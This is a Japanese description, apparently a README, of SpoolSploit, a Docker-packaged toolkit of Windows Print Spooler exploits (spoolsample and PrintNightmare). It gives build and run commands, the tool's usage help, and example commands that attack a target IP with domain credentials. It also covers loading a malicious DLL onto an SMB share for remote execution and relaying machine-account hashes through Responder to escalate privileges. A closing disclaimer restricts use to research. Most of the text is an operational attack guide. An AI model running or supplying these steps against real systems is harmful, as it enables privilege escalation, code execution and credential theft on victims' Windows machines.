
Windows プリントスプーラーのエクスプロイトを、実用的な悪用を目的として他のユーティリティと共にコンテナ化したコレクション。
Windowsのプリントスプーラーのエクスプロイトを集め、他のユーティリティとともにコンテナ化し、実用的な悪用を可能にします。
SpoolSploitは、Windowsのプリントスプーラーのエクスプロイトを集め、他のユーティリティとともにコンテナ化し、実用的な悪用を可能にするものです。特権を昇格させ、エンドポイント上で完全なシステムアクセス権を持つ悪意のあるDLLを実行するために、マシンアカウントの資格情報をリレーする非常に効果的な方法がいくつかあります。

本リリース時点では、SpoolSploit Dockerコンテナは最新バージョンのMacOS、Ubuntu Linux、Windows 10で正常に動作確認されています。
必須ではありませんが、SpoolSploitコンテナ内で悪意のあるDLLをホストしたり、資格情報リレー攻撃を行いたい場合は、Dockerを実行しているホストのポート445が使用中でないことを確認してください。これは特にWindowsホストでこのコンテナを実行する場合に顕著です。デフォルトでポート445を使用するためです。ホストのポート445を無効にすることが現実的でない場合でも問題ありません!ネットワークアダプタをブリッジモードに設定した仮想マシンでDockerコンテナを実行するだけで、悪意のあるDLLの提供や資格情報のリレーが可能になります。悪意のあるDLLのみを提供したい場合は、ホストOSの匿名アクセス共有や侵害されたサーバーの共有にDLLをホストするだけで構いません。
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
例 - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
例 - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
SpoolSploit Dockerコンテナには、SpoolSploitでspoolsample攻撃を実行して得られたマシンアカウントのハッシュをリレーするためのResponderが含まれています。特権昇格のために特権マシンアカウント資格情報をリレーするプロセスを詳細に説明した優れた記事がいくつか存在するため、ここではその詳細には触れません。
SpoolSploitコンテナには、Impacketを介して実装されたSMBサーバーが含まれています。このサーバーは、SpoolSploitでprintnightmare攻撃を実行する際に悪意のあるDLLをホストするために使用できます。デフォルトのSMBサーバー設定でも動作しますが、カスタマイズしたい場合は、/home/dlogmas/smbserver/smb-v1.confにある設定ファイルを変更できます。
必要なことは、DLLをSpoolSploitコンテナ内のSMBサーバーの共有フォルダにコピーすることだけです。コンテナ内の共有パスは/home/dlogmas/smbserver/share/です。以下のコマンドは、DLLをSpoolSploitコンテナにアップロードし、SMBサーバーからアクセス可能にする方法を示しています。
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
この概念実証コードは学術研究用に作成されたものであり、明示的に許可された場合を除き、システムに対して使用することを意図していません。コードは現状のまま提供され、その実行に関していかなる保証も約束もありません。このコードの誤用について、私は一切の責任を負いません。